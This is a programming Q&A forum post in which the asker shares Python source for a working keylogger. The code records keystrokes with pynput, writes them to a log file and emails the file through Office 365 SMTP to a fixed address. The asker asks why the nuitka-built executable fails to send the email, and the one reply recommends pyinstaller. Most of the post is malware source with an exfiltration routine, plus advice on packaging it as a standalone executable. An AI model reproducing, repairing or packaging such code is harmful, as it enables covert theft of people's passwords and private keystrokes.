0

I created a keylogger which captures keystrokes and sends the keystrokes file to an email address specified. The python script when run from VS code terminal works perfectly, but when I compiled the files into an executable(.exe) using nuitka and execute the .exe file by double-clicking on the .exe file, the keylogger captures the keystrokes but does not send the email. What can I do to fix this?

from pynput.keyboard import Listener, Key
from decrypt import decrypt                                          
from encrypt import encrypt
from sendoulook import send_mail


decrypt()                                                           

count = 0

def on_press(key):
    global count
    letter = str(key)
    letter = letter.replace("'","") 
    special_keys(letter)
    count += 1
    if count == 10000000:
        return False

def special_keys(letter):
    if letter == "Key.space":
        letter = " "

    if letter == "Key.enter":
        letter = "\n"

    if letter.find("Key") == -1:
        with open("log.txt","a") as f:
            f.write(letter)
        
   

def on_release(key):
    if key == Key.esc:
        f = open("log.txt","a")
        f.write("\n")
        return False
        

with Listener(on_press=on_press, on_release=on_release) as l:
    l.join()


encrypt()                                      

try:
    if __name__ == "__main__":
        send_mail()

except Exception as error:
    print(error)

THIS IS THE CODE FOR THE sendmail() function

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
from decouple import config
from retry import retry


@retry((Exception), tries=3, delay=2,backoff=2)         

def send_mail():

    if __name__ == "sendoutlook":

        fromaddr = "[email protected]"

        toaddr = "[email protected]"

        password = config("PASS")

        msg = MIMEMultipart()           

        msg["From"] = fromaddr         

        msg["To"] = toaddr

        msg["Subject"] = "Keylog Strokes"

        body = "This file contains the recorded keystrokes."

        msg.attach(MIMEText(body,"plain"))     

        filename = "log.txt"
        attachment = open("log.txt","rb")

        p = MIMEBase("application","octet-stream")    

        p.set_payload((attachment).read())   

        encoders.encode_base64(p)      

        p.add_header("Content-Disposition","attachment;filename=%s"%filename)  

        msg.attach(p)      

        s = smtplib.SMTP("smtp.office365.com",587)   

        s.starttls()     

        s.login(fromaddr,password)     

        text = msg.as_string()        

        s.sendmail(fromaddr,toaddr,text)

        s.quit


**nuitka command **

python -m nuitka --mingw64 <main.py> --standalone --onefile

1 Answer 1

0

So, nuitka doesn't compile python scripts effectively, thus not allowing the .exe file to send the email specified in your code. I suggest you try pyinstaller and see if that works.

Sign up to request clarification or add additional context in comments.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.